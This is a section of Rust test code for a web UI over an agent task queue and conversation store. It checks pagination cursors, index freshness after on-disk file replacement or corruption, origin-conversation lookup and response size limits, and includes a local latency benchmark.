23480            ui.talks.put(&mut talk).unwrap();
23481        }
23482        let mut parent = Task::new(
23483            "parent".into(),
23484            "body".into(),
23485            PathBuf::from("/repo"),
23486            Source::Agent {
23487                run: chat_id.clone(),
23488                node: crate::queue::CHAT_NODE.into(),
23489            },
23490        );
23491        parent.id = "task-parent".into();
23492        parent.runs = vec!["run-parent".into()];
23493        ui.queue.put(&mut parent).unwrap();
23494        let mut child = Task::new(
23495            "child".into(),
23496            "body".into(),
23497            PathBuf::from("/repo"),
23498            Source::Human,
23499        );
23500        child.id = "task-child".into();
23501        child.runs = vec!["run-child".into()];
23502        child.followup = Some(crate::queue::FollowUp {
23503            run: "run-parent".into(),
23504            origin_task: Some(parent.id.clone()),
23505            pr: "https://example.invalid/pr/1".into(),
23506            findings: vec![],
23507            generation: 1,
23508        });
23509        ui.queue.put(&mut child).unwrap();
23510        let mut question = Question::new(
23511            child.id.clone(),
23512            crate::conduct::NODE.into(),
23513            "seat".into(),
23514            "Continue?".into(),
23515            String::new(),
23516            vec![],
23517        );
23518        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23519        assert_eq!(tasks.len(), 2);
23520        assert_eq!(talks.len(), 1);
23521        assert_eq!(
23522            ui.monitor.queue_index.lock().unwrap().reparsed,
23523            0,
23524            "exact ancestry bypasses the index"
23525        );
23526        assert_eq!(
23527            crate::consult::origin_talk(&tasks, &talks, &question)
23528                .unwrap()
23529                .id,
23530            chat_id
23531        );
23532        question.run = "run-child".into();
23533        question.node = "review".into();
23534        for origin_task in [Some(parent.id.clone()), None] {
23535            child.followup.as_mut().unwrap().origin_task = origin_task;
23536            ui.queue.put(&mut child).unwrap();
23537            let (tasks, talks) =
23538                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23539            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23540            let expected =
23541                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23542                    .unwrap();
23543            assert_eq!(actual.id, expected.id);
23544            assert!(!actual.status.open());
23545            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23546            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23547            // Without Unix file identity, every readable record must be
23548            // reparsed to detect same-size, same-mtime replacements safely.
23549            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23550            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23551        }
23552        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23553        ui.queue.put(&mut child).unwrap();
23554        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23555        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23556        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23557        child.origin_chat = Some(chat_id.clone());
23558        ui.queue.put(&mut child).unwrap();
23559        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23560        assert_eq!(
23561            crate::consult::origin_talk(&tasks, &talks, &question)
23562                .unwrap()
23563                .id,
23564            chat_id
23565        );
23566        let revision = question_record_revision(&question);
23567        question.abandon("settled elsewhere");
23568        assert_ne!(revision, question_record_revision(&question));
23569        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23570        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23571        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23572        let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23573        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23574    }
23575
23576    #[test]
23577    fn list_cursors_freeze_membership_and_expire_explicitly() {
23578        let home = tempfile::tempdir().unwrap();
23579        let ui = delta_test_ui(home.path());
23580        std::fs::create_dir_all(ui.queue.root()).unwrap();
23581        for i in 0..40 {
23582            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23583        }
23584        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23585        assert_eq!(first.len(), STORE_PAGE_SIZE);
23586        let cursor = cursor.unwrap();
23587        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23588        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23589        let (second, _) = page_ids(
23590            &ui,
23591            false,
23592            PageQuery {
23593                before: Some(cursor.clone()),
23594            },
23595        )
23596        .unwrap();
23597        assert_eq!(second[0], "record-0023");
23598        assert!(second.iter().all(|id| !first.contains(id)));
23599        assert!(
23600            page_ids(
23601                &ui,
23602                true,
23603                PageQuery {
23604                    before: Some(cursor.clone())
23605                }
23606            )
23607            .is_err()
23608        );
23609        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23610        assert_eq!(fresh[0], "record-9999");
23611        ui.monitor.list_walks.lock().unwrap().clear();
23612        assert!(
23613            page_ids(
23614                &ui,
23615                false,
23616                PageQuery {
23617                    before: Some(cursor)
23618                }
23619            )
23620            .is_err()
23621        );
23622    }
23623
23624    #[tokio::test]
23625    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23626        let home = tempfile::tempdir().unwrap();
23627        let ui = delta_test_ui(home.path());
23628        let mut task = Task::new(
23629            "task".into(),
23630            "body".into(),
23631            PathBuf::from("/repo"),
23632            Source::Human,
23633        );
23634        ui.queue.put(&mut task).unwrap();
23635        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23636        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23637        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23638        let expected = parsed + usize::from(!cfg!(unix));
23639        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23640        task.status = crate::queue::TaskStatus::Held;
23641        ui.queue.put(&mut task).unwrap();
23642        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23643        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23644        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23645        ui.queue.put(&mut task).unwrap();
23646        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23647        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23648        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23649    }
23650
23651    #[tokio::test]
23652    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23653        let home = tempfile::tempdir().unwrap();
23654        let ui = delta_test_ui(home.path());
23655        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23656        let before = health(State(ui.clone())).await.unwrap().0;
23657        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23658        let after = health(State(ui)).await.unwrap().0;
23659        assert_ne!(before.notifications_rev, after.notifications_rev);
23660        assert_eq!(after.notifications_unread, 1);
23661    }
23662
23663    #[tokio::test]
23664    async fn list_pages_bound_history_and_keep_dependency_evidence() {
23665        let home = tempfile::tempdir().unwrap();
23666        let ui = delta_test_ui(home.path());
23667        let queue = &ui.queue;
23668        let talks = &ui.talks;
23669        for i in 0..1000 {
23670            let id = format!("20261019-{i:06}-page");
23671            let mut task = Task::new(
23672                "task".into(),
23673                "instruction".repeat(100),
23674                PathBuf::from("/repo/magi"),
23675                Source::Human,
23676            );
23677            task.id = id.clone();
23678            if i == 0 {
23679                task.status = crate::queue::TaskStatus::Held;
23680            } else if i == 999 {
23681                task.status = crate::queue::TaskStatus::Blocked;
23682                task.blocked_by = vec!["20261019-000000-page".into()];
23683            }
23684            queue.put(&mut task).unwrap();
23685            seed_talk_at(talks, &id, "open");
23686        }
23687        let page = serde_json::to_value(
23688            queue_page(State(ui.clone()), Query(PageQuery::default()))
23689                .await
23690                .unwrap()
23691                .0,
23692        )
23693        .unwrap();
23694        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23695        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23696        assert!(
23697            !page["rows"][0]["stuck_roots"]
23698                .as_array()
23699                .unwrap()
23700                .is_empty()
23701        );
23702        let cursor = page["next"].as_str().unwrap();
23703        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23704            .as_str()
23705            .unwrap();
23706        // Deleting an already enumerated file cannot shift or repeat a page.
23707        std::fs::remove_file(queue.path_of(last_id)).unwrap();
23708        let next = serde_json::to_value(
23709            queue_page(
23710                State(ui.clone()),
23711                Query(PageQuery {
23712                    before: Some(cursor.into()),
23713                }),
23714            )
23715            .await
23716            .unwrap()
23717            .0,
23718        )
23719        .unwrap();
23720        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23721        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23722        let chats = serde_json::to_value(
23723            talks_page(State(ui.clone()), Query(PageQuery::default()))
23724                .await
23725                .unwrap()
23726                .0,
23727        )
23728        .unwrap();
23729        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23730        assert!(chats["rows"][0].get("pending").is_none());
23731        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23732        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23733        assert_eq!(counts["held"], 1);
23734        assert_eq!(counts["blocked"], 1);
23735        assert_eq!(counts["queued"], 997);
23736    }
23737
23738    #[test]
23739    fn queue_index_observes_external_replacement_deletion_and_corruption() {
23740        let dir = tempfile::tempdir().unwrap();
23741        let ui = delta_test_ui(dir.path());
23742        let mut task = Task::new(
23743            "task".into(),
23744            "body".into(),
23745            PathBuf::from("/repo"),
23746            Source::Human,
23747        );
23748        task.runs = vec!["run-a".into()];
23749        ui.queue.put(&mut task).unwrap();
23750        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23751        task.runs = vec!["run-b".into()];
23752        let path = ui.queue.path_of(&task.id);
23753        let modified = path.metadata().unwrap().modified().unwrap();
23754        let replacement = path.with_extension("replacement");
23755        let bytes = serde_json::to_vec_pretty(&task).unwrap();
23756        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23757        std::fs::write(&replacement, &bytes).unwrap();
23758        std::fs::File::options()
23759            .write(true)
23760            .open(&replacement)
23761            .unwrap()
23762            .set_times(std::fs::FileTimes::new().set_modified(modified))
23763            .unwrap();
23764        std::fs::rename(&replacement, &path).unwrap();
23765        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23766        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23767        std::fs::write(&path, "broken").unwrap();
23768        assert!(ui.find_task_for_run("run-b").is_err());
23769        std::fs::write(&path, bytes).unwrap();
23770        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23771        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23772        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23773    }
23774
23775    #[tokio::test]
23776    async fn conversation_core_is_independent_of_unreadable_related_history() {
23777        let home = tempfile::tempdir().unwrap();
23778        let ui = delta_test_ui(home.path());
23779        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23780        std::fs::create_dir_all(ui.queue.root()).unwrap();
23781        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23782        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23783            .await
23784            .unwrap();
23785        assert_eq!(core.talk.id, id);
23786        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23787    }
23788
23789    #[tokio::test]
23790    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23791        let home = tempfile::tempdir().unwrap();
23792        let ui = delta_test_ui(home.path());
23793        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23794        let mut run = RunState::new(
23795            PathBuf::from("/repo"),
23796            "main".into(),
23797            "01234567".into(),
23798            "Useful run".into(),
23799            Config::default(),
23800        );
23801        run.save_under(home.path()).unwrap();
23802        let mut task = Task::new(
23803            "Related".into(),
23804            "body".into(),
23805            PathBuf::from("/repo"),
23806            Source::Agent {
23807                run: talk_id.clone(),
23808                node: "chat".into(),
23809            },
23810        );
23811        task.runs = vec![run.id.clone()];
23812        ui.queue.put(&mut task).unwrap();
23813        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23814        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23815        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23816        assert!(
23817            run_detail(State(ui.clone()), Path(run.id.clone()))
23818                .await
23819                .is_ok()
23820        );
23821        assert!(
23822            talk_sections(State(ui.clone()), Path(talk_id.clone()))
23823                .await
23824                .is_ok()
23825        );
23826        // Previously indexed corruption must not masquerade as no relationship.
23827        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23828        assert!(ui.find_task_for_run(&run.id).is_err());
23829        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
23830        ui.queue.put(&mut task).unwrap();
23831        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
23832    }
23833
23834    #[tokio::test]
23835    async fn conversation_sections_omit_large_task_instructions() {
23836        let home = tempfile::tempdir().unwrap();
23837        let ui = delta_test_ui(home.path());
23838        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23839        let mut task = Task::new(
23840            "filed task".into(),
23841            "large instruction ".repeat(65536),
23842            PathBuf::from("/repo"),
23843            Source::Agent {
23844                run: id.clone(),
23845                node: "chat".into(),
23846            },
23847        );
23848        ui.queue.put(&mut task).unwrap();
23849        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
23850        assert_eq!(sections["tasks"][0]["id"], task.id);
23851        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
23852        assert!(sections["tasks"][0].get("instruction").is_none());
23853        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
23854    }
23855
23856    #[test]
23857    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
23858        let home = tempfile::tempdir().unwrap();
23859        let talks = Talks::at(home.path().join("talks"));
23860        seed_talk_at(&talks, "20261019-000001-abcd", "open");
23861        seed_talk_at(&talks, "20261019-000002-abcd", "open");
23862        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
23863        assert!(resolve_talk(&talks, "../outside").is_err());
23864        assert!(resolve_talk(&talks, "abcd").is_err());
23865        assert_eq!(
23866            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
23867            "20261019-000001-abcd"
23868        );
23869    }
23870
23871    include!(concat!(
23872        env!("CARGO_MANIFEST_DIR"),
23873        "/tests/web_latency/baseline.rs"
23874    ));
23875
23876    include!(concat!(
23877        env!("CARGO_MANIFEST_DIR"),
23878        "/tests/web_latency/lists.rs"
23879    ));
23880
23881    #[tokio::test]
23882    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
23883    async fn web_history_latency_measurement() {
23884        use std::time::Instant;
23885        let home = tempfile::tempdir().unwrap();
23886        let ui = delta_test_ui(home.path());
23887        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23888        let mut template = ui.talks.get(&id).unwrap();
23889        template.turns = serde_json::from_value(serde_json::json!([{
23890            "who": "operator", "body": "Show the accumulated work and its current status.",
23891            "at": Timestamp::now().to_string(),
23892        }]))
23893        .unwrap();
23894        std::fs::write(
23895            ui.talks.path_of(&id),
23896            serde_json::to_vec(&template).unwrap(),
23897        )
23898        .unwrap();
23899        let count = std::env::var("MAGI_BENCH_RECORDS")
23900            .ok()
23901            .and_then(|s| s.parse::<usize>().ok())
23902            .unwrap_or(1000);
23903        for i in 0..count {
23904            template.id = format!("20261019-{i:06}-history");
23905            template.pending = "history ".repeat(2048);
23906            std::fs::write(
23907                ui.talks.path_of(&template.id),
23908                serde_json::to_vec(&template).unwrap(),
23909            )
23910            .unwrap();
23911            let mut task = Task::new(
23912                "old task".into(),
23913                "instruction ".repeat(2048),
23914                PathBuf::from("/repo"),
23915                Source::Human,
23916            );
23917            task.id = format!("20261019-{i:06}-task");
23918            ui.queue.put(&mut task).unwrap();
23919        }
23920        for baseline in [true, false] {
23921            for clients in [1, 4] {
23922                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
23923                let mut samples = Vec::new();
23924                for _ in 0..12 {
23925                    let mut jobs = Vec::new();
23926                    for _ in 0..clients {
23927                        let ui = ui.clone();
23928                        let id = id.clone();
23929                        jobs.push(tokio::spawn(async move {
23930                            let start = Instant::now();
23931                            if baseline {
23932                                let response =
23933                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
23934                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
23935                                return (
23936                                    elapsed,
23937                                    elapsed,
23938                                    serde_json::to_vec(&response).unwrap().len(),
23939                                );
23940                            }
23941                            let core = talk_core(State(ui.clone()), Path(id.clone()));
23942                            let secondary = talk_sections(State(ui), Path(id));
23943                            let (first, total) = tokio::join!(
23944                                async {
23945                                    let value = core.await.unwrap().0;
23946                                    (
23947                                        start.elapsed().as_secs_f64() * 1000.0,
23948                                        serde_json::to_vec(&value).unwrap().len(),
23949                                    )
23950                                },
23951                                async {
23952                                    let value = secondary.await.unwrap().0;
23953                                    (
23954                                        start.elapsed().as_secs_f64() * 1000.0,
23955                                        serde_json::to_vec(&value).unwrap().len(),
23956                                    )
23957                                }
23958                            );
23959                            (first.0, first.0.max(total.0), first.1 + total.1)
23960                        }));
23961                    }
23962                    for job in jobs {
23963                        samples.push(job.await.unwrap());
23964                    }
23965                }
23966                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
23967                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
23968                first.sort_by(f64::total_cmp);
23969                total.sort_by(f64::total_cmp);
23970                let n = first.len();
23971                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
23972                println!(
23973                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
23974                    first[n / 2],
23975                    first[(n * 95 / 100).min(n - 1)],
23976                    total[n / 2],
23977                    total[(n * 95 / 100).min(n - 1)],
23978                    samples[0].2
23979                );
23980            }
23981        }
23982    }
23983
23984    #[test]
23985    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
23986        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
23987        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
23988        assert!(APP_JS.contains("function nextRunRequest(id)"));
23989        assert!(APP_JS.contains("function runShell(id, summary)"));
23990        assert!(APP_JS.contains("function nextTaskRequest(id)"));
23991        assert!(APP_JS.contains("function taskShell(id, summary)"));
23992        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
23993    }
23994}